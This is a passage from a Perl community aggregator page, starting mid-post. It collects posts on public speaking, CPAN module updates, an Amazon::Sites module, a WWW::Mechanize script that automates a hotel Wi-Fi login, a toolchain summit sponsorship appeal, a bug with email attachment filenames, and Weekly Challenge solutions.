I can, however, tell you that the talk was a disaster. I originally wasn’t planning to give a talk at all, but my first book was about to be published and the publishers thought that giving a talk about it to a room full of Perl programmers would be great marketing. I guess that makes sense. But what they didn’t take into account was the fact that I knew nothing about how to give an interesting talk. So I threw together a few bullet points taken from the contents of the book and wrote a simple Perl script to turn those bullet points into HTML slides (it was 2000 – that’s what everyone did). I gave absolutely no thought to what the audience might want to know or how I could tell a story to guide them through. It was a really dull talk. I’m sorry if you were in the audience. Oh, and add the fact that I was speaking after the natural raconteur, Charlie Stross and you can probably see why I’m eternally grateful that the videos we took of the conference never saw the light of day. I left the stage knowing for sure that public speaking was not for me and vowed that I would never give another talk.

But…

We were experimenting with a session of lightning talks at the conference and I had already volunteered to give a talk about my silly module Symbol::Approx::Sub. I didn’t feel that I could back out and, anyway, it was only five minutes. How bad could it be?

As it turns out, with Symbol::Approx::Sub I had stumbled on something that was simultaneously both funny and useful (well, the techniques are useful – obviously the module itself isn’t). And I accidentally managed to tell the story of the module engagingly and entertainingly. People laughed. And they clapped enthusiastically at the end. I immediately changed my mind about never speaking in public again. This was amazing. This was as close as I was ever going to get to playing on stage at the Hammersmith Odeon. This was addictive.

But something had to change. I had to get better at it. I had to work out how to give entertaining and useful talks that were longer than five minutes long. So I studied the subject of public speaking. The Perl community already had two great public speakers in Mark Dominus and Damian Conway and I took every opportunity to watch them speak and work out what they were doing. It helped that they both ran courses on how to be a better public speaker. I also read books on the topic and when TED talks started coming online I watched the most popular ones obsessively to work out what people were doing to give such engaging talks (it turns out the answer really boils down to – taking out most of the content!)

And I practiced. I don’t think there was a conference I went to between 2000 and 2020 where I didn’t give a talk. I’d never turn down an opportunity to speak at a Perl Mongers meeting. And. while I’m certainly not Damian Conway, I like to think I got better at it. I’d get pretty good scores whenever there was a feedback form.

All of which means that I’ve given dozens of talks over the last twenty-plus years. From lightning talks to all-day (actually, a couple of two-day) training sessions. I’ve tried to be organised about keeping copies of the slides from all of the talks I’ve given, but I fear a few decks have slipped through the cracks over the years. And, of course, there are plenty of videos of me giving various talks over that time.

I’ve been thinking for a while that it would be good to gather them all together on one site. And, a couple of weeks ago. I started prodding at the project. Today, it reached the stage where it’s (just barely) useable. It’s at talks.davecross.co.uk. Currently, it’s just a list of talk titles and it only covers the last five years or so (and for a lot of that time, there were no conferences or meetings to speak at). But having something out there will hopefully encourage me to expand it in two dimensions:

  • Adding descriptions of the talks along with embedded slides and video
  • Adding more talks

The second point is going to be fun. There will be some serious data archaeology going on. I think I can dig out details of all the YAPCs and LPWs I’ve spoken at – but can I really find details of every London Perl Mongers technical meeting? And there are some really obscure things in there – I’m pretty sure I spoke at a Belgian Perl Workshop once. And what was that Italian conference held in Ferrara just before the Mediterranean Perl Whirl? There’s a lot of digging around in the obscure corners of the web (and my hard disk!) in my near future.

Wish me luck.

The post Collecting talks first appeared on Perl Hacks.

(cdxc) 7 great CPAN modules released last week

Niceperl

Published by Unknown on Sunday 07 April 2024 08:39

Updates for great CPAN modules released last week. A module is considered great if its favorites count is greater or equal than 12.

  1. CPAN::Audit - Audit CPAN distributions for known vulnerabilities
    • Version: 20240401.002 on 2024-04-01, with 13 votes
    • Previous CPAN version: 20240329.002 was 2 days before
    • Author: BDFOY
  2. Firefox::Marionette - Automate the Firefox browser with the Marionette protocol
    • Version: 1.55 on 2024-04-06, with 16 votes
    • Previous CPAN version: 0.77 was 4 years, 8 months, 30 days before
    • Author: DDICK
  3. Imager - Perl extension for Generating 24 bit Images
    • Version: 1.024 on 2024-04-06, with 65 votes
    • Previous CPAN version: 1.023 was 2 months, 18 days before
    • Author: TONYC
  4. Compress::Zlib - IO Interface to compressed data files/buffers
    • Version: 2.211 on 2024-04-06, with 16 votes
    • Previous CPAN version: 2.207 was 1 month, 17 days before
    • Author: PMQS
  5. Net::Curl - Perl interface for libcurl
    • Version: 0.56 on 2024-04-01, with 18 votes
    • Previous CPAN version: 0.55 was 6 months, 11 days before
    • Author: SYP
  6. PDL - Perl Data Language
    • Version: 2.087 on 2024-04-05, with 52 votes
    • Previous CPAN version: 2.085 was 2 months, 6 days before
    • Author: ETJ
  7. SPVM - SPVM Language
    • Version: 0.989098 on 2024-04-04, with 31 votes
    • Previous CPAN version: 0.989096 was 8 days before
    • Author: KIMOTO

(dlxxxv) metacpan weekly report - Firefox::Marionette

Niceperl

Published by Unknown on Sunday 07 April 2024 08:37

This is the weekly favourites list of CPAN distributions. Votes count: 55

Week's winner: Firefox::Marionette (+2)

Build date: 2024/04/07 06:36:52 GMT


Clicked for first time:


Increasing its reputation:

How to Enhance Your Perl Web Applications with HTML and CSS

Perl on Medium

Published by Robert McMenemy on Thursday 04 April 2024 05:34

Amazon Links and Buttons

Perl Hacks

Published by Dave Cross on Saturday 30 March 2024 12:59

I’ve spent more than a reasonable amount of time thinking about Amazon links over the last three or four years.

It started with the Perl School web site. Obviously, I knew that the book page needed a link to Amazon – so people could buy the books if they wanted to – but that’s complicated by the fact that Amazon has so many different sites and I have no way of knowing which site is local to anyone who visits my web site. I had the same problem when I built a web site for George and the Smart Home. And again when I created a site for Will Sowman’s books. At some point soon, I’ll also want to put book pages on the Clapham Tech Press web site – and that will have exactly the same problem.

That’s the user-visible side of the equation. There are other reasons for wanting to know about all of the existing Amazon sites. One of the best ones is because I want to track royalties from the various sites and apportion them to the right authors.

On the Perl School site, I solved the problem by creating a database table which contains data about the sites that I knew about at the time. Then there’s a DBIC result class and that result set is passed to the book page template, which builds “buy” buttons for each site found in the result set. That works, but it’s not very portable. When it came to the other sites, I found myself writing a “make_buttons” program which used the Perl School database table to generate some HTML which I then copied into the relevant template.

But that never sat well with me. It made me uncomfortable that all of my book sites relied on a database table that existed in one of my repos that, really, has no connection to those other sites. I thought briefly about duplicating the table into the other repos, but that set off the “Don’t Repeat Yourself” alarm in my head, so I backed away from that idea pretty quickly.

It would be great if Amazon had an API for this information. But, unless I’m blind, it seems to be the only API that they don’t provide.

So, currently, what I’ve done is to encapsulate the data in a CPAN module. It’s called Amazon::Sites and I’ve been releasing slowly-improving versions of it over the last week or so – and it’s finally complete enough that I can use it to replace my database table. It might even make the code for my various book sites easier to maintain.

Maybe it will be useful to you too.

Here’s how you use it:

use Amazon::Sites;
 
my $sites = Amazon::Sites->new;
my @sites = $sites->sites;
my %sites = $sites->sites_hash;
my @codes = $sites->codes;
 
my $site  = $sites->site('UK');
say $site->currency; # GBP
say $site->tldr;     # co.uk
# etc
 
my %urls = $sites->asin_urls('XXXXXXX');
say $urls{UK}; # https://amazon.co.uk/dp/XXXXXXX

Once you’ve created a class of the object, you have access to a few useful methods:

  • sites – returns a list of all of the sites the object knows about. Each element in  the list is an Amazon::Site object
  • sites_hash – returns the same information, but as a hash. The key is a two-letter ISO country code and the value is an Amazon::Site object
  • codes – returns a list of all of the country codes that the object knows about
  • site(country_code) – expects a two-letter ISO country code and returns the Amazon::Site object for that country’s Amazon site

The Amazon::Site object has a number of useful attributes:

  • code – the country code
  • country – the country’s name in English
  • currency – the ISO code for the currency used on that site
  • tldn – the top-level domain name that the Amazon site uses (e.g. .com or .co.uk)
  • domain – the full domain that the Amazon site used (e.g. amazon.com or amazon.co.uk)

Amazon::Site also has a “asin_url()” method. You pass it an ASIN (that’s the unique identifier that Amazon uses for every product on its site) and it returns the full URL of that product on that site. There’s a similar “asin_urls()” (note the “s” at the end) on the Amazon::Sites object. That returns a hash of URLs for all of the sites the object knows about. The key is the country code and the value is the URL in that country.

You can also filter the list of Amazon sites that you’re interested in when creating your Amazon::Sites object. The constructor takes optional “include” and “exclude” arguments. Each of them is a reference to an array of ISO country codes. For reasons that are, I hope, obvious, you can only use one of those options at a time.

If you’re an Amazon Associate, you can make money by including your “associate code” in Amazon URLs that you share with people. Amazon::Sites deals with that too. An Amazon associate code is associated with one Amazon site. So the constructor method has an optional “assoc_codes” argument which is a hash mapping country codes to associate codes. If you have set up associate codes in your Amazon::Sites object, then your associate code will be included in any URLs that are generated by the modules – as long as the URL is for one of the sites that you have an associate code for.

That’s all it does at the moment. It addresses most of my needs. There’s one more feature I might add soon. I’d like to have template processing built-in – so if I have a template and an Amazon::Sites object, I can easily process that template for every site that the object knows about.

So that’s the class. I hope someone out there finds it useful. If you think it’s almost useful, but there’s a feature missing then please let me know (or even send a pull request).

But there are a couple of other things I’d like to mention about how I wrote this class.

Firstly, this is written using the new perlclass OO syntax. Specifically, it uses Feature::Compat::Class, so you can use it on versions of Perl back to 5.26. It’s true that the new syntax doesn’t have all the features that you’d get with something like Moose, but I love using it – and over the next few versions of Perl, it will only get better and better. If you haven’t tried the new syntax yet, then I recommend you have a look at it.

Secondly, this is the first new CPAN distribution I’ve written since I’ve had my subscription to GitHub Copilot. And I’m really impressed at how much faster I was using Copilot. As I said, I was using experimental new Perl syntax, so I was impressed at how well Copilot understood what I was doing. I lost count of the number of times I typed the name of a new method and Copilot instantly wrote the code for me – an 95% of the time the code it wrote was spot on. AI programming support is here and it’s good. If you’re not using it yet, then you’re losing out.

I’m told a good blog post needs a “call to action”. This one has three:

  1. Start using Perl’s new class syntax
  2. Look at GitHub Copilot and similar tools
  3. Please use my new module

The post Amazon Links and Buttons first appeared on Perl Hacks.

Hotel hotspot hijinks

perl.com

Published on Tuesday 26 March 2024 18:00

Ever been staying at a hotel and gotten annoyed that you always have to open a browser to log in for wireless access? Yup, me too. A recent instance was particularly frustrating and I had to pull out my favourite Swiss Army chainsaw in order to make my life a bit easier.

The situation

So, the background story is that I was staying at a hotel in the mountains for a few days. As is the fortunate case these days1, the hotel had wireless access. The weird part, though, was that each room had a separate username and password. “Fair enough”, I thought and promptly opened my laptop and then Firefox to enter my login data to get the dearly-awaited connectivity. Using Firefox (or any other browser for that matter) was necessary because the login page was accessed via a captive portal. That’s the thing you get directed through when you see a login banner like this pop up in your browser:

Firefox captive portal login banner

That’s fine, I thought, and went merrily on with my day.

The problem

The problem started the following day. After getting up and waking up my laptop, I wasn’t able to read my email2, or read chat on irc3, see my messages via Signal, or use the internet at all4.

Also, ping greeted me with Destination Net Prohibited:

$ ping www.heise.de
PING www.heise.de (193.99.144.85) 56(84) bytes of data.
From logout.hotspot.lan (192.168.168.1) icmp_seq=1 Destination Net Prohibited
From logout.hotspot.lan (192.168.168.1) icmp_seq=2 Destination Net Prohibited
From logout.hotspot.lan (192.168.168.1) icmp_seq=3 Destination Net Prohibited
^C
--- www.heise.de ping statistics ---
3 packets transmitted, 0 received, +3 errors, 100% packet loss, time 2002ms

Obviously, I wasn’t online.

That’s when I noticed the Firefox captive portal login banner (see image above) again. Oh, I have to log in again, that’s weird. Upon clicking on the “Open Network Login Page” button, I was logged in automatically. No need to enter the login details again. That’s also weird, I thought, because if the login is automatic, why do I have to visit the login page again at all?

I put my laptop to sleep to go for a walk around the village, get some groceries, and enjoy the mountain air5. Upon my return, I had to log in again to get wireless access. I was slowly starting to get a bit miffed. My guess is that the MAC address from the relevant end-user device is removed from the access list fairly quickly, perhaps on the order of an hour or two6, and thus network connectivity is cut rather promptly.

One issue that made my situation even worse is that I often have several browser windows open at the same time; usually because I have several trains of thought on the go at once and each window contains information relevant to each train of thought. The thing is, only one of the browser windows actually shows the (automatically appearing) captive portal login banner. Finding the window with the banner was rather time consuming.

Ok, this was starting to get silly and a bit annoying. Time to automate the annoyance away. WWW::Mechanize to the rescue!

WWW::Mechanize as a comic book super hero; generated by DALL-E
WWW::Mechanize as a comic book super hero; generated by DALL-E.

The solution

Why choose WWW::Mechanize? Well, I’ve got experience with it (I used to use a similar process to automatically log in to the ICE train in Germany when I used to commute to work before the pandemic), I know I can use it to submit data into simple HTML forms, and Perl is my go-to language for this kind of automation.

So, how to get started with automating the login process? The simple solution: quit Firefox so that all browser windows are closed, put the computer to sleep and then go for a walk for a couple of hours.

Upon my return, I just needed to use a combination of perl -de0 to start a REPL-like environment to play around in and perldoc to read the extensive WWW::Mechanize documentation.

The first attempt at trying to trigger a connection to the captive portal didn’t go well:

└> perl -de0

Loading DB routines from perl5db.pl version 1.55
Editor support available.

Enter h or 'h h' for help, or 'man perldebug' for more help.

main::(-e:1):   0
  DB<1> use WWW::Mechanize;

  DB<2> $mech = WWW::Mechanize->new;

  DB<3> $mech->get('https://google.com');

Error GETing https://google.com: Can't connect to google.com:443 (SSL
connect attempt failed) at (eval
22)[/home/cochrane/perl5/perlbrew/perls/perl-5.30.1/lib/5.30.1/perl5db.pl:738]
line 2.

Ok, so we need to use HTTP and avoid HTTPS. Good to know.

Just using HTTP worked much better:

  DB<4> x $mech->get('http://google.com')
0  HTTP::Response=HASH(0x55a95f5048c0)
<snip>
lots of details; you really don't want to see this
</snip>

That’s what we like to see! We’re at least getting stuff back now. Having a look at the page’s title, we get:

  DB<5> x $mech->title();
0  'myadvise hotspot > login'

Yup, that’s a login page. Dumping the page’s content with

  DB<5> x $mech->content();
<snip>
lots of HTML content
</snip>

we get to see what we’ve got to play with. The main things to note about the content (which I’m not showing because it’s too much detail and I want to protect the innocent) are:

  • we have a form called login

    <form name="login" action="http://login.hotspot.lan/login" method="post">
  • we have a username field with the name username

    <input style="width: 80px" name="username" type="text" value=""/>
  • and we have a password field with the name password

    <input style="width: 80px" name="password" type="password"/>

This gives us enough information to be able to submit the form using the relevant login data.

Aside: interestingly enough, the fields are in English even though the site is a German one. I guess standardising the fields on English can be useful when programming.

To submit the form, we use WWW::Mechanize’s submit_form() method (the call to which I’ve formatted nicely here to make things easier to read):

$mech->submit_form(
    form_name => 'login',
    fields => {
        username => 'username-for-room',
        password => 'password-for-room',
    }
);

We can check if the form submission was successful by asking the HTTP::Response if things went well:

  DB<7> x $mech->res->is_success;
0  1

Looking good so far. Let’s see if ping works as expected

$ ping www.heise.de
PING www.heise.de (193.99.144.85) 56(84) bytes of data.
64 bytes from www.heise.de (193.99.144.85): icmp_seq=1 ttl=247 time=20.6 ms
64 bytes from www.heise.de (193.99.144.85): icmp_seq=2 ttl=247 time=13.9 ms
^C
--- www.heise.de ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 13.941/17.281/20.621/3.340 ms

Yes! In other words: we’re in! That was easy. ☺

Putting everything together (and cleaning up the code a bit), I ended up with this:

use strict;
use warnings;

use WWW::Mechanize;

my $mech = WWW::Mechanize->new;
$mech->get('http://google.com');

# check that we have the login page and not Google or something else
# i.e. we're not logged in
if ($mech->title() =~ 'login') {
    $mech->submit_form(
        form_name => 'login',
        fields => {
            username => '<username-for-room>',
            password => '<password-for-room>'
        }
    );
    if ($mech->res->is_success) {
        print "Login successful\n";
    }
    else {
        print "Login failed\n";
    }
}
else {
    print "Already logged in\n";
}

Now I can just run the script every time I wake my laptop back up and I’m back online. Yay!

From a security perspective it’s a bit weird that the username and password are obviously tied to the room number. In other words, I could probably use the neighbouring room’s account just as easily (I guess: I couldn’t be bothered checking in the end).

The conclusion

Well, this script certainly saved me some time and hassle when waking up my laptop from the suspend state. Also, it was fun working out what pieces of the puzzle were necessary in order to build a solution. Perl saves the day7 again!

Originally posted on https://peateasea.de.


  1. Remember when finding a hotel with any wireless connectivity was a total mission? Sort of like the days when finding a power outlet at an airport to charge a laptop was really difficult and one ended up sitting on the floor next to a utility room where the cleaning staff would normally plug in a vacuum cleaner. Ah, those were the days 😉. Put another way: humanity has come a looong way. [return]
  2. I use mutt; it’s fast and one only needs to use text for email. Right? Right? [return]
  3. I also use irssi for IRC. Look, I’ve been around a while, ok? [return]
  4. I’m one of those geeks who live on the terminal, hence I tend to use a lot of terminal-based tools to get things done. [return]
  5. I don’t mean this ironically: because of the forests and the distance away from any kind of metropolis, the air is much fresher. Ever notice that the air in European cities is just awful? [return]
  6. Later, I’d tried putting my computer to sleep and then waking it up a few minutes later. The connection was still alive, so my best guess is that the timeout to keep connections alive and keep a MAC address registered is on the order of hours, but not more than two or three hours, because even such short periods of inactivity required login again. A later test showed that the timeout was after one hour. [return]
  7. Well, it saved the week really. [return]

5 Reasons to Sponsor the Perl Toolchain Summit

perl.com

Published on Monday 25 March 2024 18:00

Photo © Salve J. Nilsen, 2023, CC-BY-NC-4.0

TL;DR Please read and share the prospectus for the Perl Toolchain Summit.

It’s that time of year again. In a few weeks, dozens of Perl hackers will be meeting in Lisbon, Portugal to hack furiously on the Perl Toolchain. I will be there as well, working on MetaCPAN. Most of the other core MetaCPAN developers will be there as well, as is the case most years. We get lots of work done. I usually blog about it. To get an idea of what goes on, you can check out my 2023 Perl Toolchain Summit report and Salve J. Nilsen’s photos.

The summit is a great opportunity for your company to get involved and support the Perl community. Here are 5 reasons why you should sponsor the Perl Toolchain Summit.

1) Synchronous Communication

The developers who maintain CPAN and its associated tools and service are scattered all across the globe and, more importantly, in different time zones. Most of us know that it’s entirely possible to get things done at our day jobs while working remotely. It’s not always this easy when trying to co-ordinate the time, efforts and schedules of volunteers. The Perl Toolchain Summit is the only time of the year when most of these developers are in the same room together. The event gives them the luxury of synchronous, rather than asynchronous communication. Imagine walking across the room to talk to someone rather than waiting for someone who lives across an ocean to find the free time to respond to a GitHub issue or a chat message. Problems can be solved much faster when you get so many stakeholders and decision makers in the same room.

2) Face Time

We also know that communication can be hard and it doesn’t necessarily get easier when much of it happens by text. Giving the Toolchain developers the chance to work face to face means they have a greater understanding and appreciation of whom they are dealing with. The cameraderie which develops at this event allows the Toolchain developers to communicate freely and well when they’re not all together. I’m amazed at how well everyone gets along for the part of the year when we’re not in the same room. It’s a very special group of people.

3) Consensus

Some big decisions require consensus. Consensus requires getting input from many people. Being able to call a meeting to discuss topic X with all of the relevant people is kind of a big deal. Past toolchain summits have given us documents which offer a guide on how to move forward. The Lancaster Consensus is such a document.

4) Distraction-free Time

Most Open Source developers are juggling a bunch of things in their day to day lives and hacking on software is just one of those things. Many of us rarely get more than a few hours in a given week to work distraction-free on something which interests us. Sometimes we don’t even have that luxury. The Toolchain summit gives developers 3-4 days of time to keep barreling ahead on critical software. Imagine what you could do with a hobby project when all you had to worry about was getting up in the morning, having a prepared meal and then plugging in your laptop and consulting the experts sitting around you? That’s exactly what this event is like. It also has the side effect of increasing the cadence of a project in the weeks leading up to the Toolchain where everyone prepares ahead of time, in order to maximize their creativity upon arrival.

5) It Keeps the Toolchain Moving Forward

The Perl Toolchain Summit works to ensure that the parts of the Perl Ecosystem which developers (and businesses) around the world rely on, are cared for. Some problems are thorny. They require time. They require expertise. They require help and possibly a shoulder to cry on. If your business relies on Perl, then it relies on the toolchain. It relies on a healthy and secure ecosystem. These are critical things, but they’re also boring. They’re not flashy new apps. They’re not going to get you on the front page of Hacker News. They are, however, going to allow people and businesses around the world to carry on with their lives, blissfully unaware of the efforts which are going into the software which underpins some part of their existence. Sponsoring this event allows you to support the boring, important parts of Perl.

By now you’re probably thinking “shut up and take my money”. That’s wonderful! Sponsoring the event is easy. Please have a look at the prospectus. It has more information on this event and it has everything you need to get started as a sponsor. Kindly pass the prospectus along to your friends and colleagues and together we can work together to keep the Perl Toolchain moving forward.

Some app I work on needs to export some data and send it to customers in a traceable way. We need to make sure that we keep track of each filename, and also make sure that the customers can (maybe even months later) tell us which export file might need some handling. So we decided to use a rather verbose filename containing the customer name, a timestamp and the uuid of the export job eg export_some_customer_2024-03-25T16:20:12_fcdc290d-50cb-403d-981d-51c8e871.zip.

Generating and sending such a mail is quite easy using eg Email::Stuffer and Email::Sender::Simple:

 my $filename = 'export_some_customer_2024-03-25T16:20:12_fcdc290d-50cb-403d-981d-51c8e871.zip';
    
    my $email = Email::Stuffer
       ->to(          $customer_email )
       ->cc(          $our_archive_email )
       ->from(        $sender )
       ->subject(     "Your data" )
       ->text_body(   "Please find your data attached" )
       ->attach_file( $filename )
       ->email;
    
    Email::Sender::Simple->send( $email, { transport => $smtp } );

I tested this using a local maildev and also via google mail (as we're using that for that project..). It also worked for the customers. Well, some customers...

PEBCAK?

One customer complained that they could not open the file (on Windows). The file actually is a password "protected" zip archive containing a CSV, so I assumed they had some problems with that setup and provided some detailed instruction on how to open / extract that file and make sure that Windows does not mangle the extensions etc. The customer was satisfied. I grumbled a bit about Windows and customers and went on to do other stuff.

Some time later, due to some stupidity on my part, we sent out that file as a regular CSV file (without packing it into zip). Again, the customer complained that they could not unpack the file after downloading it and adding a zip extension. That's when I started to wonder what was really going on, because I got the mail as a plain CSV file and never should the customer need to manually add an extension.

And what going on was that the customer did not get any file extensions, just a plain string, then manually added the (in that case wrong) extension zip and only then could proceed. And the customer was not using gmail, but something else.

So I tried to open the mail in mutt, and .. the attachment was indeed mangled: The filename was truncated, the extension missing.

Headers

This prompted a closer examination of the mail headers:

Content-Type: application/octet-stream;
   name*0=export_some_customer_2024-03-25T16:20:12_fcdc290d-50cb-403d-981d-51c8;
   name*1=e871.zip
   name=export_some_customer_2024-03-25T16:20:12_fcdc290d-50cb-403d-981d-51c...

Ouch!

It seems that some part of the (40 years old?) email spec cannot handle long filenames, therefore they are broken into multiple lines.

And it seems that some mail clients can handle this multi line filenames, and some cannot handle them (among them mutt, which I find sad, but in this case lucky, because I'm not sure I would ever found the real bug and just assumed customer incompetence...)

Fix it

The fix was of course easy: pack the actual file (with the still long and very verbose filename) into a zip archive with a different, much shorter name.

But it was still interesting to learn that in that case the problem was not a stupid customer or an annoying OS, but the fact the email obviously needs to printable on a dot-matrix printer and therefor should not have more than 80 characters per line...

Update: dakkar pointed out the relevant RFC 2332, Section 3.

The examples used here are from the weekly challenge problem statement and demonstrate the working solution.

File Index

"ch-1.pl" Defined by 1.

"ch-2.pl" Defined by 7.

Part 1: Element Digit Sum

You are given an array of integers, @integers. Write a script to evaluate the absolute difference between every element and the digit sum of the entire given array.

The complete solution is contained in one file that has a simple structure.

"ch-1.pl" 1


preamble 2
element digit sum 5
main 6

For this problem we do not need to include very much. We’re just specifying to use the current version of Perl, for all the latest features in the language. This fragment is also used in Part 2.

preamble 2 ⟩≡


use v5.38;

Fragment referenced in 1, 7.

First, let’s consider how we compute the digit sum for an array of integers. If we we make sure that all multi-digit numbers are expanded into lists of digits then this is the sum of the concatenation of all such lists, along with single digit numbers.

The expansion of multi-digit numbers is handled by map, and the sum is taken with unpack and the resulting final array. A key thing to remember here is that Perl will flatten all lists inside the array so all the results from the map will be in a list of single digits.

compute digit sum 3 ⟩≡


my $digit_sum = unpack(q/%32I*/, pack(
q/I*/, map {split //, $_} @{$integers})
);

Fragment referenced in 5.

Defines: $digit_sum 5.

Uses: $integers 5.

The element sum is the same procedure as the digit sum, but just without the map.

compute element sum 4 ⟩≡


my $element_sum = unpack(q/%32I*/, pack q/I*/, @{$integers});

Fragment referenced in 5.

Defines: $element_sum 5.

Uses: $integers 5.

element digit sum 5 ⟩≡


sub element_digit_sum{
my($integers) = [@_];
compute digit sum 3
compute element sum 4
return abs($element_sum - $digit_sum)
}

Fragment referenced in 1.

Defines: $integers 3, 4.

Uses: $digit_sum 3, $element_sum 4.

Finally, we have a few lines of code for running some tests.

main 6 ⟩≡


MAIN:{
say element_digit_sum 1, 2, 3, 45;
say element_digit_sum 1, 12, 3;
say element_digit_sum 1, 2, 3, 4;
say element_digit_sum 236, 416, 336, 350;
}

Fragment referenced in 1.

Sample Run
$ perl perl/ch-1.pl 
36 
9 
0 
1296
    

Part 2: Multiply by Two

You are given an array of integers, @integers and an integer $start. Write a script to do the following:

a) Look for $start in the array @integers, if found multiply the number by 2.

b) If not found stop the process, otherwise repeat.

In the end return the final value.

We’ll contain the solution in a single recursive function. The completed solution will just have that function plus a few tests.

"ch-2.pl" 7


preamble 2
search and multiply 8
main 9

This is our principal function. As can be seen, it’s very short! The logic here is simple: for each recursive call check for $start in the array and, if found, double $start and keep recursing. Otherwise, return $start.

search and multiply 8 ⟩≡


sub search_multiply{
my($start) = shift;
return $start if 0 == grep {$start == $_} @_;
search_multiply($start + $start, @_);
}

Fragment referenced in 7.

Finally, here’s a few tests to confirm everything is working right.

main 9 ⟩≡


MAIN:{
say search_multiply 3, 5, 3, 6, 1, 12;
say search_multiply 1, 1, 2, 3, 4;
say search_multiply 2, 5, 6, 7;
}

Fragment referenced in 7.

Sample Run
$ perl ch-2.pl 
24 
8 
2
    

References

The Weekly Challenge 261
Generated Code